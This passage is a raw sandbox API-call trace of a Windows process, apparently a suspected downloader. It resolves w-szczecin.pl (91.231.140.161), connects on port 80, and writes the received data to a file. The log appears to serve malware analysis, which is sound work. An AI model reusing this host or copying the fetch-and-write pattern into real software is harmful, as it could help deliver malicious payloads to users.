szCSDVersion="") | out: lpVersionInformation=0x355988*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.104] GetLastError () returned 0x0 [0055.104] GetVersionExW (in: lpVersionInformation=0x355988*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x355988*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.104] GetLastError () returned 0x0 [0055.105] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd158c, cbSid=0x5c7e9b0 | out: pSid=0x2bd158c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9b0) returned 1 [0055.105] GetLastError () returned 0x0 [0055.107] CreateMutexW (lpMutexAttributes=0x2bd16c4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.107] GetLastError () returned 0x0 [0055.108] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.108] GetLastError () returned 0x0 [0055.108] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd1898, cbSid=0x5c7e970 | out: pSid=0x2bd1898*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e970) returned 1 [0055.108] GetLastError () returned 0x0 [0055.108] CreateMutexW (lpMutexAttributes=0x2bd19a8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0055.108] GetLastError () returned 0x5 [0055.109] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x42c [0055.109] GetLastError () returned 0x5 [0055.110] WaitForSingleObject (hHandle=0x42c, dwMilliseconds=0x1f4) returned 0x0 [0055.110] GetLastError () returned 0x5 [0055.110] ReleaseMutex (hMutex=0x42c) returned 1 [0055.110] GetLastError () returned 0x5 [0055.110] CloseHandle (hObject=0x42c) returned 1 [0055.110] GetLastError () returned 0x5 [0055.110] GetCurrentProcessId () returned 0xa40 [0055.110] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0x42c [0055.110] GetLastError () returned 0x5 [0055.112] GetProcessTimes (in: hProcess=0x42c, lpCreationTime=0x5c7e974, lpExitTime=0x5c7e96c, lpKernelTime=0x5c7e96c, lpUserTime=0x5c7e96c | out: lpCreationTime=0x5c7e974, lpExitTime=0x5c7e96c, lpKernelTime=0x5c7e96c, lpUserTime=0x5c7e96c) returned 1 [0055.112] GetLastError () returned 0x5 [0055.113] CloseHandle (hObject=0x42c) returned 1 [0055.113] GetLastError () returned 0x5 [0055.113] ReleaseMutex (hMutex=0x424) returned 1 [0055.113] GetLastError () returned 0x5 [0055.113] CloseHandle (hObject=0x424) returned 1 [0055.113] GetLastError () returned 0x5 [0055.113] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd22ac, cbSid=0x5c7e9b0 | out: pSid=0x2bd22ac*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9b0) returned 1 [0055.113] GetLastError () returned 0x5 [0055.113] CreateMutexW (lpMutexAttributes=0x2bd23bc, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.114] GetLastError () returned 0x0 [0055.114] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.114] GetLastError () returned 0x0 [0055.114] ReleaseMutex (hMutex=0x424) returned 1 [0055.114] GetLastError () returned 0x0 [0055.114] CloseHandle (hObject=0x424) returned 1 [0055.114] GetLastError () returned 0x0 [0055.114] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd2b50, cbSid=0x5c7e9b0 | out: pSid=0x2bd2b50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9b0) returned 1 [0055.114] GetLastError () returned 0x0 [0055.114] CreateMutexW (lpMutexAttributes=0x2bd2c60, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.114] GetLastError () returned 0x0 [0055.114] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.114] GetLastError () returned 0x0 [0055.115] ReleaseMutex (hMutex=0x424) returned 1 [0055.115] GetLastError () returned 0x0 [0055.115] CloseHandle (hObject=0x424) returned 1 [0055.115] GetLastError () returned 0x0 [0055.115] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd33f8, cbSid=0x5c7e9b0 | out: pSid=0x2bd33f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9b0) returned 1 [0055.115] GetLastError () returned 0x0 [0055.115] CreateMutexW (lpMutexAttributes=0x2bd3508, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.115] GetLastError () returned 0x0 [0055.115] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.115] GetLastError () returned 0x0 [0055.115] ReleaseMutex (hMutex=0x424) returned 1 [0055.115] GetLastError () returned 0x0 [0055.115] CloseHandle (hObject=0x424) returned 1 [0055.115] GetLastError () returned 0x0 [0055.115] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd3c98, cbSid=0x5c7e9b0 | out: pSid=0x2bd3c98*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9b0) returned 1 [0055.115] GetLastError () returned 0x0 [0055.116] CreateMutexW (lpMutexAttributes=0x2bd3da8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.116] GetLastError () returned 0x0 [0055.116] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.116] GetLastError () returned 0x0 [0055.116] ReleaseMutex (hMutex=0x424) returned 1 [0055.116] GetLastError () returned 0x0 [0055.116] CloseHandle (hObject=0x424) returned 1 [0055.116] GetLastError () returned 0x0 [0055.116] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd4534, cbSid=0x5c7e9a8 | out: pSid=0x2bd4534*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9a8) returned 1 [0055.116] GetLastError () returned 0x0 [0055.116] CreateMutexW (lpMutexAttributes=0x2bd4644, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.116] GetLastError () returned 0x0 [0055.116] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.117] GetLastError () returned 0x0 [0055.117] ReleaseMutex (hMutex=0x424) returned 1 [0055.117] GetLastError () returned 0x0 [0055.117] CloseHandle (hObject=0x424) returned 1 [0055.117] GetLastError () returned 0x0 [0055.117] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd4ddc, cbSid=0x5c7e9a8 | out: pSid=0x2bd4ddc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9a8) returned 1 [0055.117] GetLastError () returned 0x0 [0055.117] CreateMutexW (lpMutexAttributes=0x2bd4eec, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.117] GetLastError () returned 0x0 [0055.117] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.117] GetLastError () returned 0x0 [0055.117] ReleaseMutex (hMutex=0x424) returned 1 [0055.117] GetLastError () returned 0x0 [0055.117] CloseHandle (hObject=0x424) returned 1 [0055.117] GetLastError () returned 0x0 [0055.117] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd5660, cbSid=0x5c7e9a8 | out: pSid=0x2bd5660*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9a8) returned 1 [0055.118] GetLastError () returned 0x0 [0055.118] CreateMutexW (lpMutexAttributes=0x2bd5770, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.118] GetLastError () returned 0x0 [0055.118] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.118] GetLastError () returned 0x0 [0055.118] ReleaseMutex (hMutex=0x424) returned 1 [0055.118] GetLastError () returned 0x0 [0055.118] CloseHandle (hObject=0x424) returned 1 [0055.118] GetLastError () returned 0x0 [0055.118] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd5ef4, cbSid=0x5c7e9a8 | out: pSid=0x2bd5ef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9a8) returned 1 [0055.118] GetLastError () returned 0x0 [0055.118] CreateMutexW (lpMutexAttributes=0x2bd6004, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.118] GetLastError () returned 0x0 [0055.119] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.119] GetLastError () returned 0x0 [0055.119] ReleaseMutex (hMutex=0x424) returned 1 [0055.119] GetLastError () returned 0x0 [0055.119] CloseHandle (hObject=0x424) returned 1 [0055.119] GetLastError () returned 0x0 [0055.119] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2bd6780, cbSid=0x5c7e9a8 | out: pSid=0x2bd6780*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5c7e9a8) returned 1 [0055.119] GetLastError () returned 0x0 [0055.119] CreateMutexW (lpMutexAttributes=0x2bd6890, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x424 [0055.119] GetLastError () returned 0x0 [0055.119] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x1f4) returned 0x0 [0055.119] GetLastError () returned 0x0 [0055.119] ReleaseMutex (hMutex=0x424) returned 1 [0055.119] GetLastError () returned 0x0 [0055.119] CloseHandle (hObject=0x424) returned 1 [0055.120] GetLastError () returned 0x0 [0055.122] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x424 [0055.122] GetLastError () returned 0x0 [0055.122] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x42c [0055.122] GetLastError () returned 0x0 [0055.123] ioctlsocket (in: s=0x424, cmd=-2147195266, argp=0x5c7ebf4 | out: argp=0x5c7ebf4) returned 0 [0055.123] GetLastError () returned 0x0 [0055.124] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x430 [0055.124] GetLastError () returned 0x0 [0055.124] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x434 [0055.124] GetLastError () returned 0x0 [0055.124] ioctlsocket (in: s=0x430, cmd=-2147195266, argp=0x5c7ebf4 | out: argp=0x5c7ebf4) returned 0 [0055.124] GetLastError () returned 0x0 [0055.125] WSAIoctl (in: s=0x424, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5c7ebd8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5c7ebd8, lpOverlapped=0x0) returned -1 [0055.125] GetLastError () returned 0x2733 [0055.126] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x355988, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0055.130] GetLastError () returned 0x2733 [0055.131] WSAEventSelect (s=0x424, hEventObject=0x42c, lNetworkEvents=512) returned 0 [0055.131] GetLastError () returned 0x0 [0055.131] WSAIoctl (in: s=0x430, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5c7ebd8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5c7ebd8, lpOverlapped=0x0) returned -1 [0055.131] GetLastError () returned 0x2733 [0055.131] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x355988, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0055.131] GetLastError () returned 0x2733 [0055.138] WSAEventSelect (s=0x430, hEventObject=0x434, lNetworkEvents=512) returned 0 [0055.138] GetLastError () returned 0x0 [0055.138] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x438 [0055.138] GetLastError () returned 0x0 [0055.139] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x438, param_3=0x3) returned 0x0 [0055.144] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x5c7ebbc | out: phkResult=0x5c7ebbc*=0x450) returned 0x0 [0055.144] GetLastError () returned 0x0 [0055.146] RegOpenKeyExW (in: hKey=0x450, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7eb78 | out: phkResult=0x5c7eb78*=0x454) returned 0x0 [0055.146] GetLastError () returned 0x0 [0055.146] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x458 [0055.146] GetLastError () returned 0x0 [0055.146] RegNotifyChangeKeyValue (hKey=0x454, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x458, fAsynchronous=1) returned 0x0 [0055.146] GetLastError () returned 0x0 [0055.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7eb78 | out: phkResult=0x5c7eb78*=0x45c) returned 0x0 [0055.147] GetLastError () returned 0x0 [0055.147] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x460 [0055.147] GetLastError () returned 0x0 [0055.147] RegNotifyChangeKeyValue (hKey=0x45c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x460, fAsynchronous=1) returned 0x0 [0055.147] GetLastError () returned 0x0 [0055.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7eb78 | out: phkResult=0x5c7eb78*=0x464) returned 0x0 [0055.147] GetLastError () returned 0x0 [0055.147] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x468 [0055.147] GetLastError () returned 0x0 [0055.147] RegNotifyChangeKeyValue (hKey=0x464, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x468, fAsynchronous=1) returned 0x0 [0055.147] GetLastError () returned 0x0 [0055.147] GetCurrentProcess () returned 0xffffffff [0055.147] GetLastError () returned 0x3f0 [0055.147] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7eb60 | out: TokenHandle=0x5c7eb60*=0x46c) returned 1 [0055.147] GetLastError () returned 0x3f0 [0055.151] GetCurrentProcess () returned 0xffffffff [0055.151] GetLastError () returned 0x3f0 [0055.151] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e77c | out: TokenHandle=0x5c7e77c*=0x470) returned 1 [0055.151] GetLastError () returned 0x3f0 [0055.152] GetCurrentProcess () returned 0xffffffff [0055.152] GetLastError () returned 0x3f0 [0055.153] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e78c | out: TokenHandle=0x5c7e78c*=0x474) returned 1 [0055.153] GetLastError () returned 0x3f0 [0055.228] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x352360 | out: pProxyConfig=0x352360) returned 1 [0055.284] GetLastError () returned 0x0 [0055.289] SetEvent (hEvent=0x378) returned 1 [0055.289] GetLastError () returned 0x0 [0055.303] GetCurrentProcess () returned 0xffffffff [0055.303] GetLastError () returned 0x3f0 [0055.303] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e7b4 | out: TokenHandle=0x5c7e7b4*=0x4d4) returned 1 [0055.303] GetLastError () returned 0x3f0 [0055.305] GetCurrentProcess () returned 0xffffffff [0055.305] GetLastError () returned 0x3f0 [0055.305] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e7c4 | out: TokenHandle=0x5c7e7c4*=0x4d8) returned 1 [0055.305] GetLastError () returned 0x3f0 [0055.305] SetEvent (hEvent=0x378) returned 1 [0055.306] GetLastError () returned 0x3f0 [0055.316] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x5c7eb14 | out: pFixedInfo=0x0, pOutBufLen=0x5c7eb14) returned 0x6f [0055.349] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x374910 [0055.349] GetLastError () returned 0x0 [0055.349] GetNetworkParams (in: pFixedInfo=0x374910, pOutBufLen=0x5c7eb14 | out: pFixedInfo=0x374910, pOutBufLen=0x5c7eb14) returned 0x0 [0055.359] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0055.359] GetLastError () returned 0x0 [0055.363] LocalFree (hMem=0x374910) returned 0x0 [0055.363] GetLastError () returned 0x0 [0055.365] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ec [0055.366] GetLastError () returned 0x0 [0055.366] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0055.366] GetLastError () returned 0x0 [0055.368] getaddrinfo (in: pNodeName="w-szczecin.pl", pServiceName=0x0, pHints=0x5c7e9f0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5c7e784 | out: ppResult=0x5c7e784*=0x35e3c8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="w-szczecin.pl", ai_addr=0x35bc60*(sa_family=2, sin_port=0x0, sin_addr="91.231.140.161"), ai_next=0x0)) returned 0 [0055.378] GetLastError () returned 0x0 [0055.379] FreeAddrInfoW (pAddrInfo=0x35e3c8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="⵷穳穣捥湩瀮l؝᥵俦", ai_addr=0x35bc60*(sa_family=2, sin_port=0x0, sin_addr="91.231.140.161"), ai_next=0x0)) [0055.379] GetLastError () returned 0x0 [0055.380] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4fc [0055.380] GetLastError () returned 0x0 [0055.380] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0055.380] GetLastError () returned 0x0 [0055.380] ioctlsocket (in: s=0x4fc, cmd=-2147195266, argp=0x5c7e9d4 | out: argp=0x5c7e9d4) returned 0 [0055.380] GetLastError () returned 0x0 [0055.380] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x504 [0055.380] GetLastError () returned 0x0 [0055.380] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x508 [0055.380] GetLastError () returned 0x0 [0055.380] ioctlsocket (in: s=0x504, cmd=-2147195266, argp=0x5c7e9d4 | out: argp=0x5c7e9d4) returned 0 [0055.380] GetLastError () returned 0x0 [0055.380] WSAIoctl (in: s=0x4fc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5c7e9b8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5c7e9b8, lpOverlapped=0x0) returned -1 [0055.380] GetLastError () returned 0x2733 [0055.381] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x355988, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0055.381] GetLastError () returned 0x2733 [0055.381] WSAEventSelect (s=0x4fc, hEventObject=0x4f4, lNetworkEvents=512) returned 0 [0055.381] GetLastError () returned 0x0 [0055.381] WSAIoctl (in: s=0x504, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5c7e9b8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5c7e9b8, lpOverlapped=0x0) returned -1 [0055.381] GetLastError () returned 0x2733 [0055.381] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x355988, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0055.381] GetLastError () returned 0x2733 [0055.381] WSAEventSelect (s=0x504, hEventObject=0x508, lNetworkEvents=512) returned 0 [0055.381] GetLastError () returned 0x0 [0055.383] GetAdaptersAddresses () returned 0x6f [0055.386] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x374ce0 [0055.386] GetLastError () returned 0x0 [0055.386] GetAdaptersAddresses () returned 0x0 [0055.395] LocalFree (hMem=0x374ce0) returned 0x0 [0055.395] GetLastError () returned 0x0 [0055.400] WSAConnect (in: s=0x4ec, name=0x2bde12c*(sa_family=2, sin_port=0x50, sin_addr="91.231.140.161"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0055.451] GetLastError () returned 0x0 [0055.452] closesocket (s=0x4e8) returned 0 [0055.452] GetLastError () returned 0x0 [0055.458] send (in: s=0x4ec, buf=0x2bdf9f8*, len=75, flags=0 | out: buf=0x2bdf9f8*) returned 75 [0055.458] GetLastError () returned 0x0 [0055.464] setsockopt (s=0x4ec, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0055.464] GetLastError () returned 0x0 [0055.464] recv (in: s=0x4ec, buf=0x2bdb2cc, len=4096, flags=0 | out: buf=0x2bdb2cc*) returned 4096 [0055.516] GetLastError () returned 0x0 [0055.525] setsockopt (s=0x4ec, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0055.525] GetLastError () returned 0x0 [0055.525] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 8972 [0055.525] GetLastError () returned 0x0 [0055.526] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.526] GetLastError () returned 0x0 [0055.526] WriteFile (in: hFile=0x374, lpBuffer=0x2be1a8f*, nNumberOfBytesToWrite=0x21e9, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be1a8f*, lpNumberOfBytesWritten=0x5c7ec9c*=0x21e9, lpOverlapped=0x0) returned 1 [0055.526] GetLastError () returned 0x0 [0055.526] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 3472 [0055.568] GetLastError () returned 0x0 [0055.568] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 5240 [0055.569] GetLastError () returned 0x0 [0055.569] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.569] GetLastError () returned 0x0 [0055.569] WriteFile (in: hFile=0x374, lpBuffer=0x2be1bdc*, nNumberOfBytesToWrite=0x1208, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be1bdc*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1208, lpOverlapped=0x0) returned 1 [0055.569] GetLastError () returned 0x0 [0055.569] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 1452 [0055.569] GetLastError () returned 0x0 [0055.569] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 23232 [0055.630] GetLastError () returned 0x0 [0055.631] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.631] GetLastError () returned 0x0 [0055.631] WriteFile (in: hFile=0x374, lpBuffer=0x2be23c0*, nNumberOfBytesToWrite=0x506c, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be23c0*, lpNumberOfBytesWritten=0x5c7ec9c*=0x506c, lpOverlapped=0x0) returned 1 [0055.631] GetLastError () returned 0x0 [0055.631] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 52272 [0055.631] GetLastError () returned 0x0 [0055.631] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0xcc30, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0xcc30, lpOverlapped=0x0) returned 1 [0055.632] GetLastError () returned 0x0 [0055.632] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 14520 [0055.684] GetLastError () returned 0x0 [0055.684] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0x38b8, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0x38b8, lpOverlapped=0x0) returned 1 [0055.685] GetLastError () returned 0x0 [0055.685] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 2904 [0055.685] GetLastError () returned 0x0 [0055.685] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 1452 [0055.685] GetLastError () returned 0x0 [0055.685] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.685] GetLastError () returned 0x0 [0055.685] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 2904 [0055.685] GetLastError () returned 0x0 [0055.685] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 65140 [0055.739] GetLastError () returned 0x0 [0055.739] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: 